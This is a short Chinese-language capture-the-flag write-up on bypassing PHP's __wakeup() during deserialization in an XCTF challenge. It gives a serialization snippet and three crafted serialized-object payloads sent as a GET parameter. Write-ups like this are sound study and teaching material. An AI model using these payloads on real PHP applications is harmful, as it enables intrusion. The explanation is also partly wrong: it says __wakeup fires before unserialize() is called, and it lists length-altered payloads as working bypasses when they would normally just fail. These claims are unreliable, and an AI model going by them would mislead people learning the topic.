首先獲取環境:
准備環境:firefox瀏覽器、phpstudy
瀏覽網站:
根據題目提示,這是一道反序列化題,通過輸入code,以GET形式傳參;
說說魔法函數__wakeup():
__wakeup觸發於unserialize()調用之前,但是如果被反序列化的字符串其中對應的對象的屬性發生變化時,會導致反序列化失敗,從而使得__wakeup()失效;
從題中,上代碼理解:
根據題意對以知類進行序列化:
<?php
class xctf{public $flag = '111';}
$b=new xctf();
echo serialize($b);
?>
得到:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
構造pyload:O:4:"xctf":2:{s:4:"flag";s:3:"111";} 或 O:1:"xctf":1:{s:4:"flag";s:3:"111";} 或 O:4:"xctf":1:{s:1:"flag";s:3:"111";} 都可以
拿到flag:
后面的話,我單寫一篇關於魔法函數__wakeup()失效引發的漏洞;